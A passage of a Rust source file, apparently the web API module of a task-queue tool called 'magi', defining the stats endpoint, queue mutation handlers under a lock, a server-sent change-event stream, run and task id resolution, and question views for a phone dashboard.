7273
7274impl From<&stats::RepoStats> for RepoSummaryView {
7275    fn from(r: &stats::RepoStats) -> Self {
7276        let t = &r.stats.totals;
7277        Self {
7278            repo: r.repo.to_string_lossy().into_owned(),
7279            name: r.name.clone(),
7280            runs: t.runs,
7281            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7282        }
7283    }
7284}
7285
7286/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7287/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7288/// renders from them) are free to grow without that becoming a wire-contract
7289/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7290/// data" from "computed and it really is zero" the way [`RateView`] does.
7291#[derive(Debug, Serialize)]
7292struct StatsView {
7293    totals: StatsTotalsView,
7294    /// Best win rate first, as [`stats::collect`] already sorts it.
7295    agents: Vec<AgentStatsView>,
7296    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7297    reviewers: Vec<ReviewerStatsView>,
7298    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7299    advisors: Vec<AdvisorStatsView>,
7300    e2e: E2eStatsView,
7301    release_bumps: ReleaseBumpStatsView,
7302    queue: Option<TaskCountsView>,
7303    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7304    /// that field's doc. Asserted to match it in
7305    /// `stats_runs_unreadable_matches_health`.
7306    ///
7307    /// Always the whole-workload count, even when `repo` narrows every other
7308    /// field to one repository - an unreadable `run.json` carries no `repo`
7309    /// a per-repository count could attribute it to, and the queue/health
7310    /// views this mirrors never scope it either. The UI must not present it
7311    /// as if it were scoped to the selected repository.
7312    runs_unreadable: usize,
7313    /// Every repository with runs recorded, most runs first - what the UI's
7314    /// repository selector is built from. Always the full list regardless of
7315    /// `repo`, so switching repositories never needs a second request.
7316    repos: Vec<RepoSummaryView>,
7317    /// Runs per local day over the last 30 days, oldest first, always 30
7318    /// entries. Days are the *server's* local dates (the UI must not convert
7319    /// them again), cut by run creation and classified by current status.
7320    /// Narrowed by `repo` like every other run-derived field.
7321    daily: Vec<DailyStatsView>,
7322    /// The `?repo=` value this response was narrowed to, echoed back so the
7323    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7324    /// all-repositories view.
7325    repo: Option<String>,
7326    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7327    /// current config roster no longer lists them. Empty with `?all=true`, an
7328    /// unreadable config, or when nothing was retired.
7329    retired_hidden: Vec<String>,
7330}
7331
7332/// One day of [`StatsView::daily`].
7333#[derive(Debug, Serialize)]
7334struct DailyStatsView {
7335    /// `YYYY-MM-DD`, server-local.
7336    date: String,
7337    runs: usize,
7338    merged: usize,
7339    ready: usize,
7340    other: usize,
7341    /// `None` on a day with no runs, so it never reads as 0%.
7342    completion_rate: Option<RateView>,
7343}
7344
7345impl From<&stats::DayBucket> for DailyStatsView {
7346    fn from(b: &stats::DayBucket) -> Self {
7347        Self {
7348            date: b.date.to_string(),
7349            runs: b.runs,
7350            merged: b.merged,
7351            ready: b.ready,
7352            other: b.other,
7353            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7354        }
7355    }
7356}
7357
7358/// How many days [`StatsView::daily`] covers.
7359const STATS_DAILY_DAYS: usize = 30;
7360
7361/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7362/// repository. Matched by full-path equality against `RunState.repo` only
7363/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7364/// `--repo` is, because the value here always came from this same route's
7365/// own `repos` list in an earlier response, never typed by a human. A value
7366/// matching no run is a 404, not an empty aggregate: the caller asked for a
7367/// specific, named repository, and silently returning zeroes would look
7368/// exactly like a repository that has runs but none of interest.
7369#[derive(Debug, Default, Deserialize)]
7370#[serde(default)]
7371struct StatsQuery {
7372    repo: Option<String>,
7373    /// `?all=true` keeps agents that are no longer in the roster.
7374    all: bool,
7375    /// The dashboard fetches queue counts independently of run history.
7376    runs_only: bool,
7377}
7378
7379/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7380/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7381/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7382/// prints from. Reads every readable run on disk, exactly as
7383/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7384/// a separately-maintained tally could.
7385async fn stats_get(
7386    State(ui): State<Arc<Ui>>,
7387    Query(q): Query<StatsQuery>,
7388) -> ApiResult<Json<StatsView>> {
7389    blocking(move || {
7390        let states: Vec<RunState> = run_ids(&ui.runs)
7391            .into_iter()
7392            .filter_map(|id| read_run(&ui.runs, &id).ok())
7393            .collect();
7394        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7395            .iter()
7396            .map(RepoSummaryView::from)
7397            .collect();
7398        let mut scoped: Vec<&RunState> = states.iter().collect();
7399        let mut collected = match &q.repo {
7400            Some(repo) => {
7401                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7402                if filtered.is_empty() {
7403                    return Err(ApiError::not_found(format!(
7404                        "no runs recorded against repo `{repo}`"
7405                    )));
7406                }
7407                scoped = filtered.clone();
7408                stats::collect_refs(filtered)
7409            }
7410            None => stats::collect(&states),
7411        };
7412        if !q.all {
7413            let repo = q
7414                .repo
7415                .as_deref()
7416                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7417            stats::retain_current_roster(&mut collected, &repo);
7418        }
7419        let daily = stats::daily(
7420            scoped,
7421            jiff::Zoned::now().date(),
7422            &jiff::tz::TimeZone::system(),
7423            STATS_DAILY_DAYS,
7424        );
7425        let queue_counts = (!q.runs_only)
7426            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7427        Ok(Json(StatsView {
7428            totals: StatsTotalsView::from(&collected.totals),
7429            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7430            reviewers: collected
7431                .reviewers
7432                .iter()
7433                .map(ReviewerStatsView::from)
7434                .collect(),
7435            advisors: collected
7436                .advisors
7437                .iter()
7438                .map(AdvisorStatsView::from)
7439                .collect(),
7440            e2e: E2eStatsView::from(&collected.e2e),
7441            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7442            queue: queue_counts,
7443            runs_unreadable: runs_unreadable(&ui.runs),
7444            repos,
7445            daily: daily.iter().map(DailyStatsView::from).collect(),
7446            repo: q.repo.clone(),
7447            retired_hidden: collected.retired_hidden.clone(),
7448        }))
7449    })
7450    .await
7451}
7452
7453/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7454/// gives no reason - which must keep working, since not every hold has one.
7455#[derive(Debug, Default, Deserialize)]
7456#[serde(default, deny_unknown_fields)]
7457struct HoldBody {
7458    reason: Option<String>,
7459}
7460
7461async fn queue_hold(
7462    State(ui): State<Arc<Ui>>,
7463    Path(id): Path<String>,
7464    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7465) -> ApiResult<Json<TaskView>> {
7466    // An absent body is the ordinary case - most holds are unexplained, and
7467    // that has to stay a one-tap action rather than a form. A body that is
7468    // present and malformed is still a bad request.
7469    let body = match body {
7470        Ok(Json(body)) => body,
7471        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7472        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7473    };
7474    let reason = body.reason.filter(|r| !r.trim().is_empty());
7475    mutate(ui, id, move |t| {
7476        t.hold_manual(reason.clone());
7477        Ok(())
7478    })
7479    .await
7480}
7481
7482#[derive(Deserialize)]
7483#[serde(deny_unknown_fields)]
7484struct ReassignBody {
7485    repo: PathBuf,
7486}
7487
7488async fn queue_reassign(
7489    State(ui): State<Arc<Ui>>,
7490    Path(id): Path<String>,
7491    Json(body): Json<ReassignBody>,
7492) -> ApiResult<Json<TaskView>> {
7493    let home = ui.home.clone();
7494    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7495        .await
7496        .map_err(ApiError::bad_request_from)?;
7497    let notes = crate::task_reassign::advisory_notes(&task, &home);
7498    let mut view = TaskView::from(task);
7499    view.reassignment_notes = notes;
7500    Ok(Json(view))
7501}
7502
7503async fn queue_release(
7504    State(ui): State<Arc<Ui>>,
7505    Path(id): Path<String>,
7506) -> ApiResult<Json<TaskView>> {
7507    mutate(ui, id, |t| {
7508        t.release_operator("web", None);
7509        Ok(())
7510    })
7511    .await
7512}
7513
7514#[derive(Debug, Deserialize)]
7515#[serde(deny_unknown_fields)]
7516struct AttemptLimitBody {
7517    // Required even when clearing: missing fields must not silently erase an override.
7518    attempt_limit: serde_json::Value,
7519}
7520
7521async fn queue_attempt_limit(
7522    State(ui): State<Arc<Ui>>,
7523    Path(id): Path<String>,
7524    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7525) -> ApiResult<Json<TaskView>> {
7526    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7527    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7528        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7529    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7530}
7531
7532#[derive(Debug, Deserialize)]
7533#[serde(deny_unknown_fields)]
7534struct ImplementersBody {
7535    implementers: u8,
7536}
7537
7538async fn queue_implementers(
7539    State(ui): State<Arc<Ui>>,
7540    Path(id): Path<String>,
7541    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7542) -> ApiResult<Json<TaskView>> {
7543    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7544    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7545}
7546
7547#[derive(Debug, Deserialize)]
7548#[serde(deny_unknown_fields)]
7549struct UrgentBody {
7550    urgent: bool,
7551}
7552
7553async fn queue_urgent(
7554    State(ui): State<Arc<Ui>>,
7555    Path(id): Path<String>,
7556    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7557) -> ApiResult<Json<TaskView>> {
7558    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7559    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7560}
7561
7562/// The body of `POST /api/queue/{id}/priority`.
7563#[derive(Debug, Deserialize)]
7564#[serde(deny_unknown_fields)]
7565struct PriorityBody {
7566    priority: i32,
7567}
7568
7569/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7570///
7571/// [`Task::set_priority`] is the one place the "not while running" rule is
7572/// stated; this route only carries the body to it and lets its `Err` become
7573/// the 4xx the card shows.
7574async fn queue_priority(
7575    State(ui): State<Arc<Ui>>,
7576    Path(id): Path<String>,
7577    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7578) -> ApiResult<Json<TaskView>> {
7579    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7580    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7581}
7582
7583/// The body of `POST /api/queue/{id}/edit`.
7584#[derive(Debug, Deserialize)]
7585#[serde(deny_unknown_fields)]
7586struct EditBody {
7587    title: String,
7588    instruction: String,
7589    /// Save even though the new text names a branch, commit or pull request
7590    /// that unfinished work already owns.
7591    #[serde(default)]
7592    force: bool,
7593}
7594
7595/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7596/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7597/// that refusal's message is what the sheet shows back.
7598async fn queue_edit(
7599    State(ui): State<Arc<Ui>>,
7600    Path(id): Path<String>,
7601    body: std::result::Result<Json<EditBody>, JsonRejection>,
7602) -> ApiResult<Json<TaskView>> {
7603    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7604    // The judge is an agent call, so it is awaited here, outside the claim
7605    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7606    // remembered, and the save refuses if the task moved underneath it.
7607    let mut judged: Option<(String, PathBuf)> = None;
7608    if !body.force {
7609        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7610        let (id, text) = (id.clone(), body.instruction.clone());
7611        let (seen, hits) = blocking(move || {
7612            let id = resolve_task(&queue, &id)?;
7613            let t = queue.get(&id)?;
7614            if text == t.instruction {
7615                return Ok((None, Vec::new()));
7616            }
7617            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7618            Ok((Some((t.instruction, t.repo)), hits))
7619        })
7620        .await?;
7621        if let Some((_, repo)) = &seen {
7622            let cfg = crate::config::Config::discover(repo, None)
7623                .ok()
7624                .map(|(c, _)| c);
7625            let screened =
7626                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7627                    .await
7628                    .map_err(|dup| {
7629                        ApiError::conflict(dup.render(
7630                            "Nothing was saved. If it is not a duplicate, repeat the request \
7631                             with \"force\": true.",
7632                        ))
7633                    })?;
7634            if let crate::dupes::Screened::Unjudged(why) = screened {
7635                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7636            }
7637        }
7638        judged = seen;
7639    }
7640    let force = body.force;
7641    mutate(ui, id, move |t| {
7642        if !force && body.instruction != t.instruction {
7643            match &judged {
7644                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7645                _ => {
7646                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7647                }
7648            }
7649        }
7650        t.edit(body.title.clone(), body.instruction.clone())
7651    })
7652    .await
7653}
7654
7655/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7656/// it, so the phone's other way to clear a task from the backlog does not
7657/// have to cost the run history, the attribution, and `created_at` the way
7658/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7659/// can be marked done by hand, because this is for the run the loop never
7660/// saw land - a merge done by hand, or a gate that misreported - and that can
7661/// happen from any status the task was left in.
7662async fn queue_done(
7663    State(ui): State<Arc<Ui>>,
7664    Path(id): Path<String>,
7665) -> ApiResult<Json<TaskView>> {
7666    let home = ui.home.clone();
7667    mutate(ui, id, move |t| {
7668        t.succeed();
7669        // Same as the loop's own settle path: closing a task by hand is just
7670        // as much "this task's story is over" as a daemon-driven `Merged`/
7671        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7672        // behind must stop looking like it still needs a human. `ui.home`,
7673        // not the process-global `run::home()`: they agree in a real
7674        // process, but only `ui.home` also agrees with a test fixture's own
7675        // directory.
7676        crate::daemon::supersede_prior_runs(t, &home);
7677        Ok(())
7678    })
7679    .await
7680}
7681
7682/// `DELETE /api/queue/{id}`.
7683///
7684/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7685/// names this task: a `running` status or an orphaned `.lock` left behind by a
7686/// killed daemon is a leftover, and treating either as authority made the
7687/// task undeletable from the phone for good. The associated runs, if any, are
7688/// kept: a run is self-contained history and not an appendage of the task.
7689async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7690    blocking(move || {
7691        let id = resolve_task(&ui.queue, &id)?;
7692        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7693        ui.queue
7694            .remove(&id, in_flight, &ui.questions)
7695            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7696        Ok(StatusCode::NO_CONTENT)
7697    })
7698    .await
7699}
7700
7701/// Read a task, change it, write it back, under the queue's own lock.
7702///
7703/// Taking the same claim a daemon takes is what makes hold, release,
7704/// priority, edit, and done safe to press while magi is running: without it
7705/// the daemon's next save would land on top of the operator's change and
7706/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7707/// both do, for a running task - and that refusal becomes the 4xx the card
7708/// shows, same as any other domain rule.
7709async fn mutate(
7710    ui: Arc<Ui>,
7711    id: String,
7712    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7713) -> ApiResult<Json<TaskView>> {
7714    blocking(move || {
7715        let id = resolve_task(&ui.queue, &id)?;
7716        // `claim` fails when the lock file already exists, which is the
7717        // conflict the UI must report: the daemon owns that task's file for
7718        // as long as it is running it, and our write would be lost under its
7719        // next save. The message names the lock either way.
7720        let _claim = ui.queue.claim(&id).map_err(|e| {
7721            ApiError::conflict(format!(
7722                "{e:#} - a daemon is running this task, so it cannot be \
7723                 changed from here yet; wait until it is released, then retry"
7724            ))
7725        })?;
7726        let mut task = ui.queue.get(&id)?;
7727        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7728            Ok(dup) => ApiError::conflict(dup.render(
7729                "Nothing was saved. If it is not a duplicate, repeat the request with \
7730                 \"force\": true.",
7731            )),
7732            Err(e) => ApiError::bad_request_from(e),
7733        })?;
7734        ui.queue.put(&mut task)?;
7735        Ok(Json(TaskView::from(task)))
7736    })
7737    .await
7738}
7739
7740/// The change stream: one revision number per store, on connect and whenever
7741/// any of them moves.
7742///
7743/// One shared worker scans stores; clients only forward its notifications.
7744async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7745    ui.monitor.ensure_worker(&ui);
7746    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7747    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7748
7749    let state = Arc::clone(&ui);
7750    tokio::spawn(async move {
7751        let initial_revisions = {
7752            let guard = match state.monitor.latest.lock() {
7753                Ok(g) => g,
7754                Err(p) => p.into_inner(),
7755            };
7756            guard.as_ref().map(|(r, _)| *r)
7757        };
7758        if let Some(revisions) = initial_revisions {
7759            let initial_payload = serde_json::json!({
7760                "queue_rev": revisions.0,
7761                "runs_rev": revisions.1,
7762                "questions_rev": revisions.2,
7763                "talks_rev": revisions.3,
7764                "notifications_rev": revisions.4,
7765                "loop_rev": revisions.5,
7766            });
7767
7768            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7769                if tx.send(event).await.is_err() {
7770                    return;
7771                }
7772            }
7773        }
7774
7775        loop {
7776            match tokio::select! {
7777                _ = tx.closed() => return,
7778                value = broadcast_rx.recv() => value,
7779            } {
7780                Ok(notif) => {
7781                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7782                    else {
7783                        break;
7784                    };
7785                    if tx.send(event).await.is_err() {
7786                        break;
7787                    }
7788                }
7789                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7790                    let revs = {
7791                        let guard = match state.monitor.latest.lock() {
7792                            Ok(g) => g,
7793                            Err(p) => p.into_inner(),
7794                        };
7795                        guard.as_ref().map(|(r, _)| *r)
7796                    };
7797                    if let Some(revs) = revs {
7798                        let payload = serde_json::json!({
7799                            "queue_rev": revs.0,
7800                            "runs_rev": revs.1,
7801                            "questions_rev": revs.2,
7802                            "talks_rev": revs.3,
7803                            "notifications_rev": revs.4,
7804                            "loop_rev": revs.5,
7805                        });
7806                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7807                            if tx.send(event).await.is_err() {
7808                                break;
7809                            }
7810                        }
7811                    }
7812                }
7813                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7814                    break;
7815                }
7816            }
7817        }
7818    });
7819
7820    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7821        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7822}
7823
7824/// Run ids under `runs`, newest first.
7825///
7826/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7827/// which reads the process-global home: the server has to be drivable against
7828/// a temp directory for any of this to be testable.
7829fn run_ids(runs: &FsPath) -> Vec<String> {
7830    let mut ids: Vec<String> = std::fs::read_dir(runs)
7831        .into_iter()
7832        .flatten()
7833        .flatten()
7834        .filter(|e| e.path().join("run.json").is_file())
7835        .map(|e| e.file_name().to_string_lossy().into_owned())
7836        .collect();
7837    // Ids start with a sortable timestamp.
7838    ids.sort_unstable_by(|a, b| b.cmp(a));
7839    ids
7840}
7841
7842/// Read one run's state from an explicit runs root.
7843fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7844    let path = runs.join(id).join("run.json");
7845    let body =
7846        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7847    let state: RunState =
7848        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7849    // The same migration `RunState::load` applies, so a record from the
7850    // previous schema reads here as it does everywhere else (an origin-less
7851    // run shows as "origin unknown") instead of vanishing from the phone the
7852    // moment the schema is bumped.
7853    run::migrate_schema(state)
7854}
7855
7856/// Runs on disk under `runs` whose state this build cannot parse - almost
7857/// always a schema bump, occasionally a run killed mid-write.
7858///
7859/// Exposed so every surface that reports on runs shares one count instead of
7860/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7861/// `magi doctor` calls this directly rather than guessing at the same number
7862/// a second way.
7863#[must_use]
7864pub fn runs_unreadable(runs: &FsPath) -> usize {
7865    run_ids(runs)
7866        .into_iter()
7867        .filter(|id| read_run(runs, id).is_err())
7868        .count()
7869}
7870
7871fn plain_record_id(id: &str) -> bool {
7872    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7873}
7874
7875/// Expand an id or short id to exactly one run id.
7876fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7877    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7878        return Ok(id.to_owned());
7879    }
7880    pick(run_ids(runs), id, "run")
7881}
7882
7883/// Expand an id or short id to exactly one task id.
7884fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7885    if plain_record_id(id) && queue.path_of(id).is_file() {
7886        return Ok(id.to_owned());
7887    }
7888    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7889    pick(ids, id, "task")
7890}
7891
7892/// A question as the phone reads it.
7893///
7894/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7895/// text already parsed into a node tree so the client never runs its own
7896/// markdown reader over agent-authored prose. A relative image path in it
7897/// resolves against this question's own panel asset route, which is the one
7898/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7899/// separate, sandboxed document, but `detail` is rendered inline in the
7900/// operator's own page, so an image reference in it may only ever point at
7901/// files magi itself already serves for this question.
7902#[derive(Debug, Serialize)]
7903struct QuestionView {
7904    can_answer: bool,
7905    /// Imported consent remains history even while its effect is uncertain.
7906    history_only: bool,
7907    choice_effects: std::collections::BTreeMap<String, String>,
7908    record_revision: String,
7909    #[serde(flatten)]
7910    question: Question,
7911    detail_md: Vec<md::Node>,
7912    posting_view: Option<PostingView>,
7913    /// Each thread turn's body, parsed; same order as `question.thread`.
7914    thread_bodies_md: Vec<Vec<md::Node>>,
7915    /// Each thread turn's deputy note, parsed (`None` for a turn without
7916    /// one); same order as `question.thread`.
7917    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7918    /// Is the ball in the agent's court right now?
7919    ///
7920    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7921    /// [`Question::say`] - so this is the one field that tells the phone to
7922    /// disable the answer controls and show "waiting for the agent" instead of
7923    /// a card the owner can act on. Computed rather than stored on
7924    /// [`Question`] itself, on the same reasoning as `waiting` on
7925    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7926    /// it here means the client never has to re-derive that rule.
7927    waiting_on_agent: bool,
7928    /// Who is waiting on this open question - see [`holder_of`]. Separate
7929    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7930    /// anyone is there to take it.
7931    holder: Option<&'static str>,
7932    /// Whether `magi serve` can start a follow-up agent for a conductor
7933    /// question at all: false when `daemon.max_deputies = 0` or the config is
7934    /// unreadable. Separate from `holder`, which says who is listening now.
7935    deputies_enabled: bool,
7936    /// All starts were spent and no live holder remains. Display-only: the
7937    /// final attempt increments `starts` before running under its lease.
7938    deputy_exhausted: bool,
7939    text_delivery: crate::question_delivery::Availability,
7940    /// `question.run` is a task id (conductor / triage questions), not a run
7941    /// id, so the UI links it to the task page.
7942    run_is_task: bool,
7943    /// The existing chat this question's task came from, including settled
7944    /// questions - see [`crate::consult::associated_talk`].
7945    origin_chat: Option<String>,
7946    /// `origin_chat` is closed; consulting reopens it first.
7947    origin_chat_closed: bool,
7948    /// Consultation eligibility is separate from navigation to the chat.
7949    can_consult_chat: bool,
7950}
7951
7952#[derive(Debug, Serialize)]
7953struct PostingView {
7954    before_md: Vec<md::Node>,
7955    after_md: Vec<md::Node>,
7956    fields: Vec<crate::github_text::ComparisonView>,
7957}
7958
7959fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7960    let comparison = question.posting_comparison.as_ref()?;
7961    if !comparison.matches_detail(&question.detail) {
7962        return None;
7963    }
7964    let mut ids = std::collections::BTreeSet::new();
7965    if comparison.fields.is_empty()
7966        || comparison
7967            .fields
7968            .iter()
7969            .flat_map(|f| &f.pairs)
7970            .any(|p| !ids.insert(p.id))
7971        || comparison
7972            .fields
7973            .iter()
7974            .flat_map(|f| &f.original_triggers)
7975            .any(|t| !ids.insert(t.id))
7976    {
7977        return None;
7978    }
7979    let fields = comparison
7980        .fields
7981        .iter()
7982        .map(|f| f.view(comparison.excerpt))
7983        .collect::<Option<Vec<_>>>()?;
7984    Some(PostingView {
7985        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7986        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7987        fields,
7988    })
7989}
7990
7991impl QuestionView {
7992    /// The view of `question`, reading who is waiting on it from `store`.
7993    ///
7994    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7995    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7996        let base = md::ImageBase::QuestionPanel {
7997            id: question.id.clone(),
7998        };
7999        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8000        Self {
8001            can_answer: question.can_answer(),
8002            history_only: store.held_reply(&question.id),
8003            choice_effects: question
8004                .choices
8005                .iter()
8006                .filter_map(|c| {
8007                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8008                })
8009                .collect(),
8010            record_revision: question_record_revision(&question),
8011            detail_md: md::to_nodes(&question.detail, &base),
8012            posting_view: posting_view(&question, &base),
8013            thread_bodies_md: question
8014                .thread
8015                .iter()
8016                .map(|t| md::to_nodes(&t.body, &base))
8017                .collect(),
8018            thread_notes_md: question
8019                .thread
8020                .iter()
8021                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8022                .collect(),
8023            deputy_exhausted: store.deputy_exhausted(&question),
8024            waiting_on_agent: question.waiting_on_agent(),
8025            holder,
8026            deputies_enabled: deputies_enabled(cfg, &question),
8027            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8028            run_is_task: question.run_names_task(),
8029            origin_chat: None,
8030            origin_chat_closed: false,
8031            can_consult_chat: false,
8032            question,
8033        }
8034    }
8035
8036    /// Fill `origin_chat` from the queue and the talks.
8037    fn with_origin(
8038        mut self,
8039        tasks: &[crate::queue::Task],
8040        talks: &[Talk],
8041        watches: &[crate::release_watch::WatchState],
8042    ) -> Self {
8043        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8044        self.can_consult_chat = consult.is_some();
8045        let talk =
8046            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8047        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8048        self.origin_chat = talk.map(|t| t.id);
8049        self
8050    }
8051}
8052
8053/// The config this repository resolves, or `None` when it cannot be read.
8054/// Discovering is git processes plus a config render, so a request that needs
8055/// it for many items takes it once and passes it down.
8056fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8057    Config::discover(repo, None).ok().map(|(c, _)| c)
8058}
8059
8060/// Can `magi serve` start a deputy for this question under `cfg`?
8061fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8062    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8063}
8064
8065/// The views `GET /api/questions` answers. `load` runs at most once, however
8066/// many questions there are, and not at all when there are none.
8067fn question_views(
8068    qs: Vec<Question>,
8069    store: &ask::Questions,
8070    load: impl FnOnce() -> Option<Config>,
8071) -> Vec<QuestionView> {
8072    if qs.is_empty() {
8073        return Vec::new();
8074    }
8075    let cfg = load();
8076    qs.into_iter()
8077        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8078        .collect()
8079}
8080
8081/// Who is honestly waiting on an open question right now: `"asker"` (the
8082/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8083/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8084/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8085/// up, or the question never had anyone listening (a conductor question or a
8086/// merge approval from before deputies, or not yet given one).
8087///
8088/// `None` for a question that is settled, and for one that is not an agent's
8089/// to wait on at all (a release notice).
8090fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8091    if !q.status.open() {
8092        return None;
8093    }
8094    if q.cwd.is_none()
8095        && q.deputy.is_none()
8096        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8097    {
8098        return crate::deputy::kind_of(q).map(|_| "nobody");
8099    }
8100    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8101        Some(_) if q.deputy.is_some() => "deputy",
8102        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8103        Some(_) => "asker",
8104        None => "nobody",
8105    })
8106}
8107
8108/// `GET /api/questions`.
8109///
8110/// Everything, not just the open ones: an answered question is the record of a
8111/// decision, and the phone is where the operator goes back to check what they
8112/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8113#[derive(serde::Serialize)]
8114struct DecisionView {
8115    id: String,
8116    task: String,
8117    run: Option<String>,
8118    chat: Option<String>,
8119    display: String,
8120    delivery_error: Option<String>,
8121    decision: crate::task_decision::Decision,
8122}
8123
8124impl DecisionView {
8125    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8126        Some(Self {
8127            id: inquiry.id,
8128            task: inquiry.task,
8129            run: inquiry.run,
8130            chat: inquiry.delivered_to,
8131            display: inquiry.display,
